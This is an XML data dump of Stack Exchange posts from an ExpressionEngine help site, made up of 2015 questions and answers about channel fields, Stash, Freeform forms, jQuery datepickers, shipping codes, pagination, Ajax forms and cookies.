  <row Id="28325" PostTypeId="1" AcceptedAnswerId="28364" CreationDate="2015-01-05T20:09:21.120" Score="0" ViewCount="77" Body="&lt;p&gt;I am wondering if the following is possible to do within ExpressionEngine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front end of the site, I would like ExpressionEngine to search a particular custom field within a particular channel, and add all of those numbers together to come up with a sum total. So for example...I have a channel named &quot;Invoices&quot; and within that channel, I have a custom field named &quot;Monthly Total&quot; which only has numbers and a decimal (ie. 15.25). On the front end of the website, I would like to display the sum total of custom field named &quot;Monthly Total&quot; for every single entry in that channel. So essentially, this front end section would automatically update when a new channel entry is created or deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that made sense, can this be done?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="747" OwnerDisplayName="EDub" LastEditorUserId="7705" LastEditDate="2018-07-23T12:37:19.553" LastActivityDate="2018-07-23T12:37:19.553" Title="Adding the total number from a specific custom field of all channel entries" Tags="|channel|custom-fields|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28327" PostTypeId="1" AcceptedAnswerId="28356" CreationDate="2015-01-07T16:59:27.563" Score="0" ViewCount="34" Body="&lt;p&gt;I'm using Stash for image replacement in my main column. {images} is a Matrix field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my body field, {image-1}, {image-2}, etc. are the image placeholders. My code looks like this ({images} is a Matrix field).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{images}&#xA;    {exp:stash:set name=&quot;image-{row_count}&quot; type=&quot;snippet&quot;}&#xA;        {exp:ce_img:single src=&quot;{image:url}&quot;&#xA;     alt=&quot;{image:title}&quot;}               &#xA;    {/exp:stash:set}&#xA;{/images}&#xA;{exp:stash:set name=&quot;content&quot;}{body}{/exp:stash:set}&#xA;{exp:stash:get name=&quot;content&quot; parse_vars=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine, but then I need to run it again for the side column. I also run in to problems with my RSS feed - multiple entries on the page cause Stash to run over and over, but I'm not getting fresh results for each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make Stash run freshly each time?&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="225" LastEditDate="2015-01-07T20:43:56.807" LastActivityDate="2015-01-09T12:23:47.847" Title="Stash is rewriting my variables when outputting multiple entries - how to make them distinct?" Tags="|stash|responsive-images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28329" PostTypeId="1" AcceptedAnswerId="28340" CreationDate="2015-01-07T19:08:12.493" Score="0" ViewCount="77" Body="&lt;p&gt;I have a contact form with a few checkboxes in it. An email address is associated with each check box and if the user selects a check box and email is sent to the corresponding email id. Now I want to show these email ids in the CC of the email. I have created a text field and I append all the selected emails to the value of this text field. The text fields short name is 'recipients_list' and I gave the admin_cc_notify parameter as such: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;admin_cc_notify=&quot;recipients_list&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The emails are getting sent but I cannot see the email ids in the CC of the email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the CC to show in the email?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3850" LastEditorUserId="884" LastEditDate="2015-01-07T22:20:34.590" LastActivityDate="2015-01-08T11:50:34.520" Title="freeform: Can I pass field's short name as admin_cc_notify parameters value" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28330" PostTypeId="2" ParentId="27237" CreationDate="2015-01-07T19:49:04.430" Score="0" Body="&lt;p&gt;Upgrading both EE and CT fixed the guest checkout issues.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2015-01-07T19:49:04.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28331" PostTypeId="2" ParentId="28327" CreationDate="2015-01-07T21:49:41.820" Score="0" Body="&lt;p&gt;With what you already have set up: When you have multiple entries the stash 'image-{row_count}' variable can be overwritten each entry loop. Try adding in a reference to the entry id to distinguish the variables, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{images}&#xA;    {exp:stash:set name=&quot;image-{entry_id}-{row_count}&quot; type=&quot;snippet&quot;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2015-01-07T21:49:41.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28332" PostTypeId="1" CreationDate="2015-01-07T21:56:44.250" Score="1" ViewCount="213" Body="&lt;p&gt;Can some tell me if I'm wrong,  but it doesn't look like I can create a variable to store a query result into it where I leveraged EE's native {exp:query} functionality? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use PHP native json_encode functionality to output the contents of a complex query(some of the data I'm querying cannot be displayed using the Channel entries tag) to JSON. So either I have to create a pure PHP file outside of EE or &quot;allow php&quot; in my EE template. &lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2015-01-07T21:59:58.467" Title="Creating a php variable for sql query" Tags="|global-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28333" PostTypeId="2" ParentId="28332" CreationDate="2015-01-07T21:59:58.467" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/plugins.html&quot; rel=&quot;nofollow&quot;&gt;Create a plugin&lt;/a&gt; - don't do this in the template. Then you can do whatever you like in pure PHP (with access to all of EE's helper functions, libraries, etc), create a variables array, and then return it for use as template tags.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-07T21:59:58.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28334" PostTypeId="2" ParentId="12733" CreationDate="2015-01-07T22:23:28.687" Score="3" Body="&lt;p&gt;I might be missing the goal here (you mentioned a plugin so this might be too simple), but you can very easily add a jQuery UI &lt;code&gt;Datepicker&lt;/code&gt; widget to any custom form field in Freeform Pro. Just create a custom text field in the Freeform Pro control panel, lets call it &lt;strong&gt;Start Date&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Field Type: &lt;code&gt;text&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Field Label: &lt;code&gt;Start Date&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Auto-generated Field Name: &lt;code&gt;start_date&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fully generated freeform field &lt;code&gt;id&lt;/code&gt;: &lt;code&gt;freeform_start_date&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your form template all you need to add is the following jQuery code (assuming you have already loaded jQuery and jQuery UI JS and CSS):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $('#freeform_start_date').datepicker();&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add all the jQuery UI bells and whistles wherever you instantiate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the relevant part of my Freeform template becomes (here I have two Datepicker widgets):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:composer form_name=&quot;myform&quot; return=&quot;success&quot;}&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    // Make text fields jQuery UI Datepicker Widgets&#xA;    // Add the ability to change Month and Year with built-in jQuery UI dropdowns&#xA;    $('#freeform_start_date, #freeform_end_date').datepicker({&#xA;        changeMonth: true,&#xA;        changeYear: true&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that helps you and future SO viewers.&lt;/p&gt;&#xA;" OwnerUserId="2608" LastActivityDate="2015-01-07T22:23:28.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28335" PostTypeId="1" CreationDate="2015-01-07T23:00:28.423" Score="1" ViewCount="26" Body="&lt;p&gt;DevDemon Credits v2.5.3a includes a deprecated method decode_date which was removed in #eecms v1.9.2.&lt;/p&gt;&#xA;" OwnerUserId="625" LastEditorUserId="159" LastEditDate="2015-01-08T08:57:31.153" LastActivityDate="2015-01-12T17:41:25.360" Title="DevDemon Credits decode_date deprecated" Tags="|devdemon|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28336" PostTypeId="2" ParentId="28335" CreationDate="2015-01-07T23:00:28.423" Score="1" Body="&lt;p&gt;In ajax.credits.php line 193:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;localize-&amp;gt;decode_date('%d-%M-%Y %g:%i %A', $row-&amp;gt;date)) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be replaced with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;localize-&amp;gt;format_date('%d-%M-%Y %g:%i %A', $row-&amp;gt;date))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="625" LastActivityDate="2015-01-07T23:00:28.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28337" PostTypeId="1" CreationDate="2015-01-08T03:26:52.963" Score="0" ViewCount="62" Body="&lt;p&gt;I'm building a store with products that have multiple designs.  I'd like to have pictures for each design, and possibly be able to click on, or have a drop down menu that would change the picture when the design is chosen.  Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="4919" LastActivityDate="2016-06-11T00:04:29.983" Title="Different options and pictures in Expresso Store" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28338" PostTypeId="2" ParentId="17556" CreationDate="2015-01-08T11:09:04.660" Score="0" Body="&lt;p&gt;Does the category listing choose for applying tax choose to apply it on an 'or' basis? For example, I choose two categories for my product; 'scotland' and 'kids' and if both are checked in the category list, it should apply a certain tax %. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is happening now is that if either category is ticked, it applies the %, which is no good to me based on the limitations I have in my product listing. Unless I am missing something?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2015-01-08T11:09:04.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28339" PostTypeId="2" ParentId="23668" CreationDate="2015-01-08T11:09:59.167" Score="1" Body="&lt;p&gt;Have you tried outputting the session &gt; userdata &gt; fingerprint on the template.  I've used this in addons to recreate the session ID in the control panel. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;session-&amp;gt;userdata['fingerprint']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't accessed or tried this on a template though, but it might point you a the right direction. &lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2015-01-08T11:09:59.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28340" PostTypeId="2" ParentId="28329" CreationDate="2015-01-08T11:50:34.520" Score="0" Body="&lt;p&gt;Unfortunately, you can't use the content of a Freeform field as a Freeform parameter value. The reason is because whatever is in your field comes &lt;em&gt;after&lt;/em&gt; the parsing of the Freeform tag and its parameters. It's the same reason why you can't use the value entered in a custom field in a parameter in an EE Channel Form: the Channel Form would be parse when your page is loaded, and the content in your field comes after (and too late).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the functionality is not exactly the same (for example, emails wouldn't be CC'ed), the recipients feature in Freeform might come in handy here: &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#recipients&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#recipients&lt;/a&gt;&#xA;This would let you send notifications to email addresses selected in a checkbox list, for example.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-01-08T11:50:34.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28341" PostTypeId="2" ParentId="28323" CreationDate="2015-01-08T12:02:37.440" Score="0" Body="&lt;p&gt;Unfortunately, as of this writing the ordering of the &lt;code&gt;{select_member_groups}&lt;/code&gt; is based on default database order (i.e. increasing group_id), and not the order set in the &lt;code&gt;allowed_groups=&quot;&quot;&lt;/code&gt; parameter. I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on. :)&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, using EE's &lt;code&gt;{exp:query}&lt;/code&gt; module could get you similar data. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;group_id&quot;&amp;gt;&#xA;{exp:query sql=&quot;SELECT DISTINCT group_id, group_title&#xA;                FROM    exp_member_groups&#xA;                WHERE   group_id IN (8,9,5)&#xA;                ORDER BY FIELD(group_id, 8,9,5)&quot;}&#xA;   &amp;lt;option value=&quot;{group_id}&quot;}&amp;gt;{group_title}&amp;lt;/option&amp;gt;&#xA;{/exp:query}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-01-08T12:02:37.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28343" PostTypeId="1" CreationDate="2015-01-08T14:50:29.103" Score="1" ViewCount="75" Body="&lt;p&gt;I have a store on EE 2.9.0 with Store UPS shipping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I cannot reach Domestic Ground when the user has to choose his shipping mode.&#xA;I'm in Canada and need to ship in Canada but it looks like the extension is created for USA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file on the extension I had:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    '03' =&amp;gt; 'Domestic Ground',&#xA;    '12' =&amp;gt; 'Domestic 3 Day Select',&#xA;    '01' =&amp;gt; 'Domestic Next Day Air',&#xA;    '14' =&amp;gt; 'Domestic Next Day Air Early AM',&#xA;    '13' =&amp;gt; 'Domestic Next Day Air Saver',&#xA;    '02' =&amp;gt; 'Domestic Second Day Air',&#xA;    '59' =&amp;gt; 'Domestic Second Day Air AM',&#xA;    '11' =&amp;gt; 'International Standard',&#xA;    '65' =&amp;gt; 'International Saver',&#xA;    '07' =&amp;gt; 'International Worldwide Express',&#xA;    '54' =&amp;gt; 'International Worldwide Express Plus',&#xA;    '08' =&amp;gt; 'International Worldwide Expedited',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I talked with UPS Canada and they said Domestic Ground number 20&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody the same problem before?&lt;/p&gt;&#xA;" OwnerUserId="4921" LastEditorUserId="210" LastEditDate="2015-01-09T15:04:29.503" LastActivityDate="2016-06-11T20:14:14.313" Title="EE and Store UPS Shipping Canada API" Tags="|expresso-store|ups-shipping|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28346" PostTypeId="1" CreationDate="2015-01-08T17:47:31.057" Score="1" ViewCount="172" Body="&lt;p&gt;I am creating an extension where on install I am creating a Channel and adding Fields to the Channel using the EE API.  I have found all the API functions to do this but the one thing I have not found in the API is how to create the Channel Field Group that the Fields get added to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know where to find documentation on how to create the Channel Field Group?&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2015-05-09T01:44:31.687" Title="How to create a Channel Field Group using API" Tags="|channel|fields|channel-entries-api|field-group|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28347" PostTypeId="2" ParentId="28346" CreationDate="2015-01-08T19:36:05.123" Score="1" Body="&lt;p&gt;So there is no way to do this with the EE API.  You need to use the Database class and use the insert function like so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ee()-&amp;gt;db-&amp;gt;insert(&#xA;        'field_groups',&#xA;        array(&#xA;            'site_id'  =&amp;gt; 1,&#xA;            'group_name'  =&amp;gt; 'Group Name'&#xA;        )&#xA;    );&#xA;&#xA;    $group_id = ee()-&amp;gt;db-&amp;gt;insert_id();&#xA;&#xA;    return $group_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2015-01-08T19:36:05.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28348" PostTypeId="1" CreationDate="2015-01-08T20:18:54.237" Score="0" ViewCount="152" Body="&lt;p&gt;I am showing past events for visitors to reference old performances by using  'show_expired=&quot;yes&quot;' however the page got very big so I used pagination to break it up. I also use {if expiration_date &amp;lt; current_date} content {/if}, so only past show are shown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I employ pagination, I  get large blank spaces on the first page where the current content wants to show, but I don’t want it too show. How do I disable the pagination from wanting to try and show blank spaces where the current shows are trying to show.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;now_playing&quot;  show_expired=&quot;yes&quot;  limit=&quot;3&quot; paginate=&quot;bottom&quot;}&#xA;&#xA;{if expiration_date &amp;lt; current_time}&#xA; content of paage includes description and photo of past shows&#xA; {/if}&#xA;&#xA;{paginate}&#xA; &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;{/paginate}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1330" LastEditorUserId="1330" LastEditDate="2015-01-12T18:13:30.733" LastActivityDate="2015-01-13T14:26:17.857" Title="Pagination Not Showing" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28349" PostTypeId="1" CreationDate="2015-01-08T20:26:28.727" Score="1" ViewCount="1333" Body="&lt;p&gt;On my EE 2.8.1 site I have a Twitter bootstrap modal popup which contains an embedded video with a link to share it via email.  Clicking on this link brings up a tell-a-friend form (using EE's Email module) in the same modal, which submits via Ajax in conjunction with the jQuery validate library.  The email gets sent successfully, and then redirects to EE's default page and then back to a specified return URL.  How do I prevent this default redirect from happening?  What I would like it to do is keep the modal box open and replace the form with a custom Thank You message.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my markup for the modal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         &amp;lt;div id=&quot;videoModal&quot; class=&quot;modal&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;modal-dialog modal-lg&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;modal-content&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;modal-header&quot;&amp;gt;&#xA;                        &amp;lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;modal&quot; aria-hidden=&quot;true&quot;&amp;gt;×&amp;lt;/button&amp;gt;&#xA;                        &amp;lt;h4 class=&quot;modal-title&quot;&amp;gt;{video_caption}&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div id=&quot;video-container&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;modal-body&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;embed-container&quot;&amp;gt;&#xA;                            &amp;lt;iframe width=&quot;1280&quot; height=&quot;720&quot; src=&quot;{video_url}&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; title=&quot;{video_caption}&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;modal-footer&quot;&amp;gt;&#xA;                            &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-default&quot; data-dismiss=&quot;modal&quot; alt=&quot;close&quot;&amp;gt;Close&amp;lt;/button&amp;gt;&#xA;                           &amp;lt;div class=&quot;pull-left&quot;&amp;gt;&#xA;                                &amp;lt;a href=&quot;{permalink='forms/tellafriend'}&quot; class=&quot;btn btn-default shareemail&quot; aria-label=&quot;share button&quot; value=&quot;Share with email&quot;&amp;gt;&amp;lt;span class=&quot;entypo mail&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;                           &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div id=&quot;tellafriend&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- /.modal-content --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- /.modal-dialog --&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my tell-a-friend template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;videos&quot; entry_id=&quot;{segment_3}&quot; limit=&quot;1&quot;}&#xA;{exp:email:tell_a_friend charset=&quot;utf-8&quot; allow_html=&quot;no&quot; form_id=&quot;tellafriend-form&quot; form_class=&quot;email-a-friend-form&quot;}&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;to&quot; class=&quot;col-md-3 control-label&quot;&amp;gt;Recipient's Email:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;to&quot; name=&quot;to&quot; size=&quot;40&quot; maxlength=&quot;35&quot; class=&quot;form-control required&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;name&quot; class=&quot;col-md-3 control-label&quot;&amp;gt;Your Name:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;name&quot; size=&quot;40&quot; maxlength=&quot;35&quot; value=&quot;{member_name}&quot;  class=&quot;form-control required&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;from&quot; class=&quot;col-md-3 control-label&quot;&amp;gt;Your Email:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;from&quot; name=&quot;from&quot; size=&quot;40&quot; maxlength=&quot;35&quot; value=&quot;{member_email}&quot; class=&quot;form-control required&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;subject&quot; class=&quot;col-md-3 control-label&quot;&amp;gt;Subject:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;subject&quot; name=&quot;subject&quot; size=&quot;40&quot; maxlength=&quot;85&quot; value=&quot;Check this out: {video_caption}&quot; class=&quot;form-control required&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;message&quot; class=&quot;col-md-3 control-label&quot;&amp;gt;Message:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-9&quot;&amp;gt;&amp;lt;textarea id=&quot;message&quot; name=&quot;message&quot; rows=&quot;18&quot; cols=&quot;40&quot; class=&quot;form-control required&quot;&amp;gt;{video_url}&amp;lt;/textarea&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-9 col-md-offset-3&quot;&amp;gt;&#xA;        &amp;lt;button class=&quot;btn btn-primary&quot; type=&quot;submit&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;  &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;{/exp:email:tell_a_friend}&#xA;{/exp:channel:entries}&#xA;&amp;lt;div id=&quot;#tellafriend-form-response&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the javascript I have written so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $('.shareemail').click(function(e){&#xA;        e.preventDefault();&#xA;        $('#tellafriend').load($(this).attr(&quot;href&quot;));&#xA;        $('#tellafriend').show();&#xA;        $('#video-container').hide();&#xA;    });&#xA;&#xA;    $(&quot;#tellafriend-form&quot;).validate({&#xA;        submitHandler: function() {&#xA;         $.ajax({&#xA;             url: $(&quot;#tellafriend-form&quot;).attr(&quot;action&quot;),&#xA;             data: $(&quot;#tellafriend-form&quot;).serialize(),&#xA;             type: 'POST',&#xA;             success: function (data) {&#xA;                 $('#tellafriend-form').hide();&#xA;                 $('#tellafriend-form-response').html(&quot;&amp;lt;h3 style='text-align:center;'&amp;gt;Thank you, your email was sent!&amp;lt;/h3&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;button type='button' class='btn btn-default' data-dismiss='modal'&amp;gt;Close&amp;lt;/button&amp;gt;&quot;);&#xA;                 return false; &#xA;             },&#xA;             error: function (jxhr, msg, err) {&#xA;                 $('#tellafriend-form').append('&amp;lt;li style=&quot;color:red&quot;&amp;gt;' + msg + '&amp;lt;/li&amp;gt;');&#xA;             }&#xA;           });&#xA;           return false; // ajax used, block the normal submits&#xA;        }&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="4924" LastActivityDate="2015-01-08T20:26:28.727" Title="Tell-a-friend form in bootstrap modal without redirect" Tags="|jquery|tell-a-friend|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28350" PostTypeId="2" ParentId="28337" CreationDate="2015-01-08T21:26:01.583" Score="1" Body="&lt;p&gt;The short answer is you would need to add a field where you could upload the product images and then use some javascript to listen to your modifier drop down changes. When the user changes the product variation you would need to then fire an event and find the corresponding image that you uploaded.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-08T21:26:01.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28351" PostTypeId="1" AcceptedAnswerId="28354" CreationDate="2015-01-09T00:36:26.947" Score="0" ViewCount="150" Body="&lt;p&gt;I have this in my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;profiles&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;    {if segment_2}entry_id=&quot;not {segment_2}&quot;{/if}&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;    {if {profession}{profession:title}{/profession} == &quot;foo&quot;}&#xA;        &amp;lt;!-- display something --&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns the error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You have an invalid conditional in your template. Please review your&#xA;  conditionals for an unclosed string, invalid operators, a missing },&#xA;  or a missing {/if}.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Parser State: Invalid Condition: Not enough operands for operator ” ==&#xA;  “.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is wrong with my template? Is the test in my if-statement somehow causing this problem? Is there a way I can add this filter as a search in the channel entry tag?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-04-09T17:56:04.317" Title="Search relationship or relationship conditional" Tags="|channel-entries|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28352" PostTypeId="1" AcceptedAnswerId="28353" CreationDate="2015-01-09T01:15:11.147" Score="0" ViewCount="223" Body="&lt;p&gt;Are there any preferred ways of setting and getting cookies in EE? Whether through an add-on or a PHP snippet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need to set a location cookie based on user input and get the cookie within my templates.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2015-01-09T08:43:17.570" Title="Setting and Getting Cookies" Tags="|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
